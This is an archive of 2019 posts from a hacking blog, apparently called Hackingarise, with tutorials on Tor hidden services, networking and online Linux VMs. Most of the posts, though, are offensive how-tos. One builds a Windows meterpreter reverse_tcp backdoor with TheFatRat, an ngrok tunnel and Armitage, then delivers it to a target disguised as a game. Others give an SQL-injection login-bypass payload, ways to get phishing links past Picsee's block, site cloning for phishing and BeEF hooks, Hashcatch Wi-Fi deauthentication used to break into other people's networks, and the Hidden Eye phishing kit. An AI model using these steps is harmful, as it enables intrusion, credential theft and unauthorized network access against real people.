Showing posts with label Tutorials. Show all posts
Showing posts with label Tutorials. Show all posts

Tuesday, November 5, 2019

How to create a Tor SSL hidden service - Termux

Hello ladies and gentlemen, boys and girls, to tonight’s show. I will be your host. Now, let me explain to you how to create a Tor hidden service, and as a bonus, I will teach you how to set SSL to it to encrypt the connection. Enough of the bullshit, let’s roll.

Now, you will need a LOT. As always, the requirements must meet in order for it to be successful:

Packages
nginx: to deploy the web server.
tor: to act both as a proxy and a hidden service provider.
openssl to generate a self-signed SSL certificate.

Others
The Tor browser to check if your results are responsive.

Done. Now to the actions.
First of all, you gotta have to generate your SSL certificate and private key. Keep both of this in a safe and secluded directory. Use this set of commands in the correct order:

$ openssl req -x509 -newkey rsa:16384 -keyout certkey.pem -out cert.csr -days 365 -verify -set_serial 740340178739478 -sha512

$ mv certkey.pem /data/data/com.termux/files/usr/etc/nginx/

$ mv cert.csr /data/data/com.termux/files/usr/etc/nginx/

The next thing you wanna do is to go to the nginx config file and edit it with the command:
$ nano /data/data/com.termux/files/usr/etc/nginx/nginx.conf

Then, uncomment everything from line 98 to the end (HTTPS server section). Next, modify it as I say.


# HTTPS server
#
server {
listen 8443 ssl;
server_name localhost;

ssl_certificate /data/data/com.termux/files/usr/etc/nginx/cert.csr;
ssl_certificate_key /data/data/com.termux/files/usr/etc/nginx/certkey.pem;

ssl_session_cache shared:SSL:1m;
ssl_session_timeout 5m;

ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;

location / {
root share/nginx/html;
index index.html index.htm;
}
}

}

Next, you configure Tor to do what you want. Use the command:
$ nano /data/data/com.termux/files/usr/etc/tor/torrc

Now, locate the section where it says hidden service and modify it as I say:

############### This section is just for location-hidden services ###
## Once you have configured a hidden service, you can look at the
## contents of the file ".../hidden_service/hostname" for the address
## to tell people.
##
## HiddenServicePort x y:z says to redirect requests on port x to the
## address y:z.

HiddenServiceDir /data/data/com.termux/files/usr/var/lib/tor/hidden_service/
HiddenServicePort 443 127.0.0.1:8443

#HiddenServiceDir /data/data/com.termux/files/usr/var/lib/tor/other_hidden_service/
#HiddenServicePort 80 127.0.0.1:80
#HiddenServicePort 22 127.0.0.1:22

Now, you gotta create a directory at the specified place. Use these command in the specific order:

$ cd /data/data/com.termux/files/usr/var/lib/
$ mkdir -p tor/hidden_service/

Now the configuration is pretty much done. You just gotta do these last commands:

$ nginx
$ tor

Wait for it to finish, then use this command:
$ cat /data/data/com.termux/files/usr/var/lib/tor/hidden_service/hostname
Copy that into your clipboard.

Last step: Paste the .onion link into the Tor browser I asked you to install. You’re done here.

I hope you enjoy this tutorial. If you find it helpful, why not share it around. Always remember, Hackingarise is never responsible for any of your malicious acts. Have a nice night. Stay safe, stay ethical.

Saturday, October 19, 2019

Picsee has blocked serveo and ngrok links fix

welcome lads and gals this post a bit different than what i mostly post on here but its been at me a wile now and i just had to see if i can do something about it so we all know picsee as a lot hackers use it in phishing it lets you edit the thumbnail of a url the thumbnail is the little box pops up when you share a link on a site so since like a few months ago they after blocking ngrok and serveo links witch is balls for us or is it lol anyways i mead a link shortener with this link shortener we can use it to change the link on picsee.co instead me typeing it all out i decided make a video 🙂 so enjoy
linking-it.freesite.vip
Picsee.co

Friday, October 18, 2019

How to clone a site with Httrack

welcome to hacking a rise here another post this time on cloning website

What is httrack

HTTrack is a free and open-source Web crawler and offline browser, developed by Xavier Roche and licensed under the GNU General Public License Version 3. HTTrack allows users to download World Wide Web sites from the Internet to a local computer.
find out more here :




How to install Httrack

(If you are using parrot or kali this already installed on the system )

To install HTTrack in linux by using terminal you have to follow this step.

First, open your terminal from search bar ‘Terminal’ or from keyboard CTRL+ALT+T.

To install type or copy the following command and press Enter button.

sudo apt-get install httrack
sudo yum install httrack

To complete installation you have to punch your linux password and then enter to permit. In installation, you will be asked to install this program and you have to press ‘Y’ from your keyboard.
As i am using kali i dont need to install.




How to use Httrack

Right lads open terminal and type httrack --help
Hacking A Rise httrackhelp-1024x624

now we wanna type httrack -O name of the site i be using a site i mead for shorting links you can find it here
https://hackingariseofficial.github.io/
so my command is httrack https://hackingariseofficial.github.io -O hackingarise

Hacking A Rise clone-the-site-here-1024x177

now if we go to are root dir we will see the site
Hacking A Rise sitefile
Hacking A Rise sitefile2-1024x373
Hacking A Rise sitefiles3

from here we can add the beef-xss hook to the index.html we can also test the site and see what vulnerabilities are in the site or we can edited it and make it are own but mostly we use them for phishing




final thoughts on Httrack

well i love this tools its how i clone sites as it gave’s u the full site not just a index.html file like wget dose as we all its simple to use like one simple command and boom its cloned the site not many site copyers can do that so lads and gals i advice you to make this your best friend




Disclamer

This article is only for an Educational purpose. Any actions and or activities related to the material contained within this Website is solely your responsibility. The misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and https://hackingarise.com will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law

Understanding networks part 1

welcome to hacking a rise i am the laughing man the one and only i am him so i was going true the blog and i see i haven’t really explained how networks work so in this post and a few others to come we are going to explain it as i believe a hacker should a good understanding of networks so lets start lads

IPS

An Internet Protocol address (IP address) is a numerical label assigned to each device connected to a computer network that uses the Internet Protocol for communication An IP address serves two main functions: host or network interface identification and location addressing.

Internet Protocol version 4 (IPv4) defines an IP address as a 32-bit number. However, because of the growth of the Internet and the depletion of available IPv4 addresses, a new version of IP (IPv6), using 128 bits for the IP address, was standardized in 1998.[3][4][5] IPv6 deployment has been ongoing since the mid-2000s.

IP addresses are written and displayed in human-readable notations, such as 172.16.254.1 in IPv4, and 2001:db8:0:1234:0:567:8:1 in IPv6. The size of the routing prefix of the address is designated in CIDR notation by suffixing the address with the number of significant bits, e.g., 192.168.1.15/24, which is equivalent to the historically used subnet mask 255.255.255.0.

The IP address space is managed globally by the Internet Assigned Numbers Authority (IANA), and by five regional Internet registries (RIRs) responsible in their designated territories for assignment to local Internet registries, such as Internet service providers, and other end users. IPv4 addresses were distributed by IANA to the RIRs in blocks of approximately 16.8 million addresses each, but have been exhausted at the IANA level since 2011. Only one of the RIRs still has a supply for local assignments in Africa.

Network administrators assign an IP address to each device connected to a network. Such assignments may be on a static (fixed or permanent) or dynamic basis, depending on network practices and software features.

ports

In computer networking, a port is a communication endpoint. Physical as well as wireless connections are terminated at ports of hardware devices. At the software level, within an operating system, a port is a logical construct that identifies a specific process or a type of network service. Ports are identified for each protocol and address combination by 16-bit unsigned numbers, commonly known as the port number. The most common protocols that use port numbers are the Transmission Control Protocol (TCP) and the User Datagram Protocol (UDP).

A port number is always associated with an IP address of a host and the protocol type of the communication. It completes the destination or origination network address of a message. Specific port numbers are commonly reserved to identify specific services, so that an arriving packet can be easily forwarded to a running application. For this purpose, the lowest numbered 1024 port numbers identify the historically most commonly used services, and are called the well-known port numbers. Higher-numbered ports are available for general use by applications and are known as ephemeral ports.

When used as a service enumeration, ports provide a multiplexing service for multiple services or multiple communication sessions at one network address. In the client–server model of application architecture multiple simultaneous communication sessions may be initiated for the same service.

TCP

The Transmission Control Protocol provides a communication service at an intermediate level between an application program and the Internet Protocol. It provides host-to-host connectivity at the transport layer of the Internet model. An application does not need to know the particular mechanisms for sending data via a link to another host, such as the required IP fragmentation to accommodate the maximum transmission unit of the transmission medium. At the transport layer, TCP handles all handshaking and transmission details and presents an abstraction of the network connection to the application typically through a network socket interface.

At the lower levels of the protocol stack, due to network congestion, traffic load balancing, or unpredictable network behaviour, IP packets may be lost, duplicated, or delivered out of order. TCP detects these problems, requests re-transmission of lost data, rearranges out-of-order data and even helps minimize network congestion to reduce the occurrence of the other problems. If the data still remains undelivered, the source is notified of this failure. Once the TCP receiver has reassembled the sequence of octets originally transmitted, it passes them to the receiving application. Thus, TCP abstracts the application’s communication from the underlying networking details.

TCP is used extensively by many internet applications, including the World Wide Web (WWW), email, File Transfer Protocol, Secure Shell, peer-to-peer file sharing, and streaming media.

TCP is optimized for accurate delivery rather than timely delivery and can incur relatively long delays (on the order of seconds) while waiting for out-of-order messages or re-transmissions of lost messages. Therefore, it is not particularly suitable for real-time applications such as voice over IP. For such applications, protocols like the Real-time Transport Protocol (RTP) operating over the User Datagram Protocol (UDP) are usually recommended instead.

TCP is a reliable stream delivery service which guarantees that all bytes received will be identical and in the same order as those sent. Since packet transfer by many networks is not reliable, TCP achieves this using a technique known as positive acknowledgement with re-transmission. This requires the receiver to respond with an acknowledgement message as it receives the data. The sender keeps a record of each packet it sends and maintains a timer from when the packet was sent. The sender re-transmits a packet if the timer expires before receiving the acknowledgement. The timer is needed in case a packet gets lost or corrupted.

While IP handles actual delivery of the data, TCP keeps track of segments – the individual units of data transmission that a message is divided into for efficient routing through the network. For example, when an HTML file is sent from a web server, the TCP software layer of that server divides the file into segments and forwards them individually to the internet layer in the network stack. The internet layer software encapsulates each TCP segment into an IP packet by adding a header that includes (among other data) the destination IP address. When the client program on the destination computer receives them, the TCP software in the transport layer re-assembles the segments and ensures they are correctly ordered and error-free as it streams the file contents to the receiving app.

UDP

UDP is a simple message-oriented transport layer protocol that is documented in RFC 768. Although UDP provides integrity verification (via checksum) of the header and payload,it provides no guarantees to the upper layer protocol for message delivery and the UDP layer retains no state of UDP messages once sent. For this reason, UDP sometimes is referred to as Unreliable Datagram Protocol. If transmission reliability is desired, it must be implemented in the user’s application.

A number of UDP’s attributes make it especially suited for certain applications.

It is transaction-oriented, suitable for simple query-response protocols such as the Domain Name System or the Network Time Protocol.
It provides datagrams, suitable for modeling other protocols such as IP tunneling or remote procedure call and the Network File System.
It is simple, suitable for bootstrapping or other purposes without a full protocol stack, such as the DHCP and Trivial File Transfer Protocol.
It is stateless, suitable for very large numbers of clients, such as in streaming media applications such as IPTV.
The lack of retransmission delays makes it suitable for real-time applications such as Voice over IP, online games, and many protocols using Real Time Streaming Protocol.
Because it supports multicast, it is suitable for broadcast information such as in many kinds of service discovery and shared information such as Precision Time Protocol and Routing Information Protocol.

There ya have it lads and gals i will be doing a post on each of theses in the future so u can have a better undstaning of the way networks work this a brief example of whats to come on hacking a rise

Saturday, October 12, 2019

2 best online linux tester

welcome to hacking a rise i am the laughing man of course, In this post we are going to talk about online linux testers this is site where you are able to start a linux system using browser or vnc on ur mobile this comes in handy for those that can’t afford a laptop the site we will be showing you is called linuxzoo and distrotest these sites offer wide range of linux systems for ya to test or to test malware on so lets get stuck in to this post

how to use linuxzoo

Frist of all them is linux zoo u need to register for the site to use the systems so we need to go here sign up im using tempmail as its faster if a wanna use tempmail check this link here
Hacking A Rise linuxzooreg
now click register and go to your email and copy and paste the link to your browser
Hacking A Rise linuxzooemail




now you account is ready we go to the the little box on the side and click join the queue
Hacking A Rise joinquene

now we pick the os wew want to use im picking kali linux as its the most used one on the site but they offer windows 2008,windows 7 ,centos7,kali 1.0.6 and caine 10 linux since im clicking kali we dont need any these
Hacking A Rise pickoslinux

now we hit switch on and with for the kali to boot
Hacking A Rise turnon

now we go to connect and it will gave us a link and a few other details to connect with vnc on mobiles the list look like this
Home IP: 94.156.30.189
VM IP: 10.0.1.113
Direct: telnet or ssh to linuxzoo.net
SSH: linuxzoo.net
VM Web: http://host-1-113.linuxzoo.net/
JScript Telnet: Network / Console
Java Telnet: Auto
JavaScript SSH: SSH
JavaScript VNC: VNC
URI telnet: linuxzoo.net
Connect: Username: root, Password: secure
Hacking A Rise linksass




now if u are on your browser click JavaScript VNC it will open a new tab and load kali and sign in with the username and password they provide
Hacking A Rise signinwithpass

thoughts on linux zoo

linux zoo is a good site for people wanna learn how to use linux with out messing up there device but the only problem is the time it is limited to like 20 mins for each session witch is shit tbh but for thos that wannna get in to hacking and dont have a laptop this is handy for them to use to test commands virus so on …

Distrotest.net

Right lads and gals we on to distrotest this another site like linuxzoo but this one is a lot better is offers a wide range of linux systems including kali,blackarch,backbox etc .. this site you dont need to sign up to just click the linux u wanna test and boom it will open a no vnc window in ur browser there ya go u got a linux system

list of linux on the site

#4

4mLinux

#9

9Front

#A

AbsoluteLinux
AcademiX
AirSlax
AlpineLinux
ALT Linux
Android-x86
Antergos
antiX Linux
Aptosid
ArchBang
ArchLabs
Archlinux
Archman
ArchStrike
ArcoLinux
ArtixLinux
AryaLinux
AV Linux

#B

BackBoxLinux
BigLinux
Bio-Linux
BlackArch
BlackLab
BlackPantherOS
BlackSlash
blag
BlankOn
Bluestar
Bodhi
BOSS Linux
BunsenLabs
ByzantineOS




#C

CAELinux
Caine
Caixa Magica
Calculate Linux Desktop
Canaima
CentOS
Chakra
ChaletOS
ClearOS
Clonezilla
CommodoreOS
Condres OS
ConnochaetOS
CRUX
Cucumber

#D

Damn Small Linux
Damn Small Linux Not
Dapper Linux
Daylight Linux
Debian
Debian-FAI
DebianEdu
deepin
DEFT
Devil-Linux
Devuan
DragonFly BSD
Dragora
DuZeru
Dyne:bolic

#E

EasyOS
Edubuntu
elementaryOS
Elive Linux
Emmabuntüs
Emmi OS
EndeavourOS
Endless OS
EnsoOS
EpiLinux
Escuelas Linux
Exe GNU Linux
ExTiX

#F

Fatdog64
Fedora Atomic
Fedora Server
Fedora Silverblue Ostree
Fedora Spins
Fedora Workstation
FerenOS
FreeBSD
FreeDOS
FreeNAS
Frugalware
Funtoo

#G

G4L
GeckoLinux
Gentoo
GhostBSD
GNewSense
GoboLinux
Gparted
GreenieLinux
GRML
GuixSD

#H

Haiku
HardenedBSD
Heads
Huayra
Hyperbola

#I

io GNU Linux

#K

Kali Linux
Kanotix
KaOS
Knoppix
Kodachi
KolibriOS
Korora
Kubuntu
Kwort

#L

Linux Lite
Linux Mint
LiveRaizo
LMDE
Lubuntu
LXLE OS

#M

Macpup
Mageia
MakuluLinux
Manjaro
Matriux
MauiLinux
MenuetOS
MidnightBSD
MilagrOS
MinerOS
MiniNo
MINIX
Modicia
Musix
MX Linux

#N

Nanolinux
Nas4Free
Neptune
NetBSD
Netrunner
NixOs
Nova
NST
NuTyX

#O

obarun
OpenBSD
OpenIndiana
OpenMandriva
openSUSE
OPNsense
OracleLinux
OSGeo live
OviOS




#P

Parabola CLI
Parabola LXDE
Pardus
Parrot
Parrot Home
Parrot Security
Parrot Studio
Parrot Variant
Parsix
PCLinuxOS
PeachOSI
PearOS
Pentoo
Peppermint
PeppermintOS
Pinguy
PinguyOS
plopLinux
PointLinux
Pop!_OS
PORTEUS
PrimTux
Puppy Linux
PureOS

#Q

Q4OS
QubesOS
Quirky

#R

Raspberry Pi Desktop
ReactOS
Reborn OS
Red Star OS
Redcore
redox
Refracta
Regolith Linux
Rescatux
RevengeOS
RoboLinux
Rockstor
ROSA FRESH
Runtu

#S

Sabayon
SalentOS
Salix
ScientificLinux
SELKS
SemiCode OS
Septor
Siduction
Slackel
Slackware
Slax
SliTaz
Solus
SolydK
SolydX
SparkyLinux
Springdale
Stresslinux
SubgraphOS
susOS
SwagArch
SystemRescueCd

#T

Tails
Tanglu
TempleOS
Tiny Core
Trident
Trisquel
TROM-Jaro
TrueOS
TurnKey Linux
Tux N Vape

#U

Ubuntu
Ubuntu Budgie
Ubuntu Mate
Ubuntu Server
Ubuntu Studio
UbuntuKylin
Ultimate Edition
Uruk

#V

VectorLinux
Venom Linux
VineLinux
VoidLinux
Voyager
VyOS

#W

WattOs

#X

Xubuntu

#Z

Zentyal
Zenwalk
Zevenet
Zorin OS

i know its a lot of linux systems u click the system u want and the Version this site keeps there systems up todate which is a good thing for noobs.
The only thing is need to with a min for it to load altho the site say u have 30 mins on the vm you can extend the time but 15 mins every 15 mins lol it also they offer details to use vnc on mobile

how to use distrotest

so lads and gals click the link on the start the post it take u to the home page of the site were u can see the list of linux systems
Hacking A Rise distest

now we find the linux we wanna use for this im clicking kali linux
Hacking A Rise kdistro

Hacking A Rise listofkali




Hacking A Rise startkalis

Hacking A Rise live

Hacking A Rise fullsystemkali

as ye can see they offer all the kali versions they allso offer a vnc details for mobile
Alternatively you can connect to a VNC client:
Server: 77.64.170.177
Port: 5951

thoughts of distrotest.net

wel what can i say i use this site a lot for testing my payloads and other vulns in the systems as well as it offers a great service for people that dont have a laptop even tho they offer 30 mins on each os we can extend the time on like linux zoo .




Saturday, October 5, 2019

How to use TheFatRat and Ngrok and Armitage

Welcome to hacking a rise

Welcome to Hacking A Rise Im the Laughingman the only legend you need to know Im here to show u how to hack any pc with TheFatRat and Ngrok and Armitage this tutorial is for windows Pc’s as most the world run on windows hahaha fucking Muppet’s We all know Linux all the fucking way whoop whoop any ways lads and my sexy gals this what we will need first a Linux OS up today parrot or Kali ngrok with api and fatrat and armitage <--- installed all ready on kali and parrot so there fuck all we can do there so lets talk a bit about all three tools .

The fatrat

Thefatrat a massive exploiting tool : Easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV software find out more here

Ngrok

Ngrok is a multiplatform tunnelling, reverse proxy software that establishes secure tunnels from a public endpoint such as internet to a locally running network service while capturing all traffic for detailed inspection and replay Source: https://ngrok.com/

Armitage

Armitage is nothing but a GUI tool for performing and managing all the tasks that otherwise could have been performed through msfconsole. Armitage helps visualize the targets, automatically recommends suitable exploits, and exposes the advanced post-exploitation

Installing Thefatrat and updating

Instructions on how to install TheFatRat

git clone https://github.com/Screetsec/TheFatRat.git
cd TheFatRat
chmod +x setup.sh && ./setup.sh
Hacking A Rise installfatrat
Update
cd TheFatRat
./update && chmod +x setup.sh && ./setup.sh

installing Ngrok

download ngrok
amd64 here
32 bit here
unzip /path/to/ngrok.zip
./ngrok authtoken <--- you will need an account so sign up here
Try it out by running it from the command line:
./ngrok help
To start a HTTP tunnel on port 80, run this next:
./ngrok http 80

To start a tcp tunnel
./ngrok tcp 4444

How to preform the attack

Now we get to the fun part putting it all together one so first of all open Thefatrat
cd thefatrat
./fatrat
with it loads and press 6
Hacking A Rise thefatrat

and open a new terminal and type ./ngrok tcp 4444
Hacking A Rise fatngrok

Now lads and gals we need to go back to fat rat pick option one
Hacking A Rise onebat

now we need to add the localhost and port so go back to ngrok and copy the 0.tcp.ngrok.io set it as local host and then the local port to 11730 and the name off the payload you can name this what ever you want and then set the payload to [ 3 ] windows/meterpreter/reverse_tcp

Hacking A Rise nameportsand-localhost

(my advice use a well knowing game )

now we let it build the payload once its done you can close fatrat
Hacking A Rise makingpayload-1

Now we open new terminal and type service postgresql start
Hacking A Rise servicepoststart

now we open armitage u can find on the little side menu on kali or in the menu under exploits when you click it you will be asked to connect to the metasploit database
Hacking A Rise armitageconnect
and it will as u the start the rpd
Hacking A Rise armitageconnect2

and now we with this is done
Hacking A Rise connectingarmitage

right lads as u see iv been busy on a network 😉 hahaha but this the armitage dash we will call it for this tutorial
Hacking A Rise dasharmitage

now that we are on the dash of armitage u see the side the panel theres a list aux,exploit,payload,post this were the exploits are
Hacking A Rise Screenshot-from-2019-10-05-00-23-20

On the bottom there is a small text box type handler in here
Hacking A Rise handlerarmitage

now we click it and set the localhost and port and payload so local host is the ngrok url 0.tcp.ngrok.io
and the port 11730 and the payload to windows/meterpreter/reverse_tcp
Hacking A Rise setuparmitage

now hit launch and now u see on armitage a new box poped up on the bottom
Hacking A Rise armitageconsole

Now we send the bat file to the target and with they run it them boom there device will pop up on the side of the panel
Hacking A Rise sidearmitage

i wont be showing ye the exploits as the person that volunteered asked me not to so there ya have it lads lol fucking pussy lol but use the help the command to get the list commands u need this method works with android and linux and mac payloads and exploits

in the console u can use the same commands as metasploit as armitage is the metasploit gui

final thoughts

wel i hate armitage like more i hate pedos and i hate pedos but for a person starting with metasploit and hacking armitage is the best start as it has all the payloads and exploits in a nice neat list on the side the panel as well as its easy set up a two year old can do it lol

DISCLAMER

This article is only for an Educational purpose. Any actions and or activities related to the material contained within this Website is solely your responsibility. The misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and https://hackingarise.com will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law

Tuesday, September 17, 2019

A complete guide to installing a free SSL certificate

Fix connection “Not Secure” warning in Google Chrome. A complete guide to installing a free SSL certificate.

What you’ll learn
Understand why SSL is important.
Understand how SSL works.
Migrate an HTTP WordPress website to HTTPS
Use AutoSSL if it is enabled on the host.
Setup redirects so Google will know the site has moved, and visitors will automatically be redirected to the secure HTTPS webpage.
Secure the WordPress dashboard, so those that login always have a secure connection.
Check that SSL is working on all pages on a website.
Find and fix mixed content.
Requirements
You should have, or intend to have a WordPress website hosted on a web host using cPanel. Most hosting platforms do use cPanel..
You need access to your cPanel and WordPress dashboard.
Your web host should support server name indication (SNI) for Full (Strict) SSL. Ask them if in doubt, but most good hosts will. Without SNI, you can still implement the Flexible SSL described in this course and get the https lock.
Description
Does your website show the connection as “Not Secure” in Google Chrome or other web browsers?

Every day in the news we hear about new online hacking scandals. People are aware of the need for increased security when going online, and maybe even shopping online. Trust is everything. If you run a website, then you need to act now.




Visitors to your website need to know they can trust you and your website.

Visitors can easily check by looking up at the address bar of their browser. If a web page is secure, they will see the comforting Padlock icon. Google Chrome goes one step further and adds the word “Secure” next to the padlock, just to reinforce the fact.
If a web page is not secure, there is no padlock, and Google Chrome may even state “Not Secure“.

How would that kill the trust your visitors have for your site?

The industry standard for establishing a secure and encrypted link to a website is called SSL (Secure Sockets Layer). This encryption ensures that all data moving between a web browser and a website server is private. You can tell if a website uses a secure connection because the URL begins with HTTPS://. The “s” in that prefix stands for secure, so https is the secure version of http.

To create this type of security, you need to have at least one certificate. These are issued by certificate authorities, and used to cost a lot of money. In fact, some still do. However, in this course, I will show you where you can get a free certificate and how to install it so that your site is secure. In the process, we will also add our site to Cloudflare, a content delivery network that speeds up and helps protect your website from hackers and spammers.

In this course you will learn:

What SSL is and why it is important for a website to have that https prefix.
That Google actually count SSL on a site as a ranking factor.
How HTTPS works and how to set it up on your website.
That some web hosts may have already set up an https version of your site using something called AutoSSL.
How to check if your site already has a secure version.
Why sites can have both http AND https versions, and why this is a bad idea.
What to look for in a web host to make the transition to https simple and pain-free.
What CloudFlare is and why you should be using it.
How to setup a free account on Cloudflare and then add your site to Cloudflare.
How to change the DNS at your registrar.
About the various types of SSL offered by Cloudflare.
About origin certificates.
How to exclude your site from AutoSSL and stop your cPanel from auto-generating certificates for you. You’ll see an example of why this can be a good idea.
How to create a free origin certificate at Cloudflare and how to install it on your server.
How to secure your WordPress dashboard.
How to get back into your dashboard if you accidentally get locked out in the process.
How to set up redirects so that all of the old http web pages automatically redirect to the secure https version. This type of redirect also alerts Google that the page has permanently moved to https.
How to avoid a problem caused by a specific WordPress caching plugin, and how to fix the problem if you still need to.
How to check your SSL is working on all pages of your website.
What mixed content is, how to find it, and how to fix it.
That there are other places you may need to update links, including the robots.txt and hard-coded links you may have inserted in the past.
How to update Google Analytics if you use it.
How to update things in Google Search Console (Webmaster Tools) if you use this service.
The course was created to be hands on, so I show you every step of the process using one of my own sites as an example. You can follow along as we go if you like. At the end of the course I have included a second conversion, from start to finish in a single video. This video has a text file you can download with all the steps, making this video and resource the ideal companion for you as you convert your own website.




Who this course is for:
WordPress website owners that want to move their HTTP site to the secure HTTPS
Anyone interested in learning more about SSL and why HTTPS is important going forward.
Created by Andrew Williams
Last updated 3/2019
English
English [Auto-generated]

Size: 504.19 MB

Download here

Thursday, September 5, 2019

Top 5 ways to attack an account through Android

Hello everyone, this is IRISnoir from Hackingarise. Today I am back for another post. As you can see in the title, I will list and discuss about the top 5 ways to access another user’s account… just through your phone. Let’s get started, shall we?

Hacking A Rise top5

5. SQLi (SQL injection)

Ahh, the infamous vulnerability. Until now, it is still very common. SQLi is known to be one of the most dangerous vulnerabilities of all time. The exploitation process is NOT difficult nor long but the consequences will affect your system dearly. This involves breaching of accounts, extraction of sensitive information, etc.. You can imagine the chaos when a SQLi attack is successfully executed on a banking system. Probability of success: 51%.

Attack: Hackers will input a piece of code into the login page:
' or 1=1--
This will allow hackers to breach the accounts on a website that is vulnerable to SQLi.

Protect: SQLi is common, but it doesn’t mean that it’s unpreventable. To learn how to protect your system, read this article




4. Bruteforce/Dictionary attack

This is the act of using a login automator to attack accounts.

Now how this works is that it uses a wordlist file (a file containing a list of words) to try and guess the password of an account. Although, success is not guaranteed, if the password is not in the file you specified, then you’ll know you failed, this is a dictionary attack.

A bruteforce attack is almost similar to a dictionary attack where it guesses passwords. The only difference is that it will try ALL the password combinations and will eventually get the true password.

Attack: You just need the right software like Hydra. Then you’ll know what to do next.

Protect: Defending from this kind of attack is not hard but it’s also not easy. You can use Captcha or anything that can block the attacks of a machine and deploy it on your system.

3. Interacting with the target

Now, this is an old method, but as effective as always. This includes phishing, social engineering, shoulder surfing and basically everything you can do that involves meeting the target or interacting with them.

Attack: You can create a bogus ‘reset password site’ and send it to them and get them to input their sensitive data and have the data sent to you, a.k.a phishing.
Or you can just email them or call them (You have to spoof your number first if you wanna call, else you have to generate a bogus email for the sole purpose of doing this if you wanna use email.). And convince them somehow to ‘lend’ you their password, a.k.a social engineering.

Defend: Be alert, do NOT accept and download ANYTHING from untrusted sources or clicking on shady links. Even if they are enticing. Most importantly, don’t be gullible. Chances are, hackers will try to convince you to lend out your personal data. And, depending on the damage, the consequences ranges from sticky stuff to having your life ruined.

2. Malware

It involves the use of keyloggers and more softwares. Are you thinking what I’m thinking?

Attack: Malwares will deal damage dearly if crafted right. You can program one designated from basically annoying the victim to encrypting all files for ransom (ransomware), privacy breachers like keyloggers, destructor of PC, etc..

Defend: If you wanna see if it’s really malware, use it on a Virtual Machine. This will ensure your safety as you can dismiss the machine when all hells break loose.

Fun fact: You can actually build a keylogger in Python. Yes, very impressive. This is why I have it in this ‘Top 5’ list. Just install Termux and then you know what to do next.




1. Praying

Attack: You can try and learn about the target. Most people put their password as something related to their lives, for example: birthdate, pet’s name, etc.. If you succeed, then congratulations. If not, try the other methods.

Defend: Use something unexpected and hard to guess as your login credentials. If you want, you can input JIBBR JABBR like faewcg8cge88de8f87r6ug9g6if5e6t5t74i. Some people say that’s mad shit but you’ll thank me later and thank yourself later for reading this.

That’s about it for this ‘Top 5’ list. If you like what you’re reading, then share around. And remember, stay safe, stay ethical as Hackingarise is never responsible for any of your malicious acts. Have a nice day.

Also, check this out. This is a tool that I made. Show some love to it. If you want, you can use this with the tutorials. Again, don’t go too far as these are meant for educational purposes.

Monday, September 2, 2019

exHACK - the automator framework - IRISnoir

Hello everyone, this is IRISnoir from Hackingarise. Bringing to you another tutorial. This time about my hand-crafted tool: exHACK.

You will need these:
git to download my tool
python to activate the tool

First, you can clone it via:
git clone https://github.com/IRISnoir/exHACK

Then you can just use:
python3 exHACK/exhack.py

Then when it asks you for permission to install needed tools, just accept it.

And then you’re pretty much done. You have 5 tools. Just choose one and then follow all instructions and input everything that it says. It’s very easy. Even a n00b can do it.

exHACK is a tool made with love by me. I hope that you will enjoy it as much as I enjoy making it. If you like what you are reading, why not share it around. And remember, stay safe, stay ethical. Have a nice day!

Friday, August 30, 2019

Hashcatch V1.0 automated WiFi hacker

Welcome to hackingarise I’m the laughing man and this a tutorial is on Hashcatch a bash tool to automate wifi hacking dosnt that sound sexy my people ahaha i bet all u script kiddies are coming in your pants right about now lol only joking or am i hahaha so i found this tool just looking true github you know when you are bored out your skull and noting else to do on like best part you im not a black hat

😜

this script can run on linux or nethunter not sure about termux but worth a try as it works in my termux but if nethunter running in termux as well as iv it flashed to my s6 anyways lets move on .

What is Hashcatch

Hashcatch deauthenticates clients connected to all nearby WiFi networks and tries to capture the handshakes. It can be used in any linux device including Raspberry Pi and Nethunter devices so that you can capture handshakes while walking your dog.
Find out more here

SivaneshAshok git hub here

How to install Hashcatch

open a terminal and type

    git clone https://github.com/staz0t/hashcatch.git
    cd hashcatch
    ls
    chmod +x hashcatch

Hacking A Rise install-hashcatch

now we need to install hcxtools so frist we need to clone the script so type

    git clone https://github.com/ZerBea/hcxtools.git
    cd hcxtools
    make

Hacking A Rise hcxtools

How to use Hashcatch

now we type
./hashcatch
this will gave us a error and tell use to type hashcatch --setup
Hacking A Rise startuphashcatch

now we type ./hashcatch --setup
Hacking A Rise runnn
it will ask u for the wifi interface this is eader wlan0 or wlan1 use ifconfig to find your one

Hacking A Rise ifconfig

now to run the script we type ./hashcatch and let it run

Final thoughts

so lads this script is handy for lot of things me personally i be using when Im sitting out side pedos houses to braking in to there network. in all-fairness for people that dont understand how to hack WiFi this the script for you as well for hackers as this fast script for ya to use war-driving 😉

Wednesday, August 21, 2019

How to use Hidden eye v 1.0

welcome to hackingarise i am the laughing man the one and only and today in this post for Wednesday bit late with posting but look has to be do lol anyways in this we are going to use hidden eye this a advance phishing tool in python3 working on pc and termux
Find out more here

[wpedon id=”8238″ align=”center”]

Hacking A Rise hiddeneye-300x200

what pages with hidden eye

1) Facebook:

Traditional Facebook login page.
Advanced Poll Method.
Fake Security login with Facebook Page.
Facebook messenger login page.

2) Google:

Traditional Google login page.
Advanced Poll Method.
New Google Page.
3) LinkedIn:

Traditional LinkedIn login page.

4) Github:

Traditional Github login page.
5) Stackoverflow:

Traditional Stackoverflow login page.
6) WordPress:

Similar WordPress login page.
7) Twitter:

Traditional Twitter login page.
8) Instagram:

Traditional Instagram login page.
Instagram Autoliker Phishing Page.
Instagram Profile Scenario Advanced attack.
Instagram Badge Verify Attack [New]
Instagram AutoFollower Phishing Page by (https://github.com/thelinuxchoice)
9) SNAPCHAT PHISHING:

Traditional Snapchat Login Page
10) YAHOO PHISHING:

Traditional Yahoo Login Page
11) TWITCH PHISHING:

Traditional Twitch Login Page [ Login With Facebook Also Available ]
12) MICROSOFT PHISHING:

Traditional Microsoft-Live Web Login Page
13) STEAM PHISHING:

Traditional Steam Web Login Page
14) VK PHISHING:

Traditional VK Web Login Page
Advanced Poll Method
15) ICLOUD PHISHING:

Traditional iCloud Web Login Page
16) GitLab PHISHING:

Traditional GitLab Login Page
17) NetFlix PHISHING:
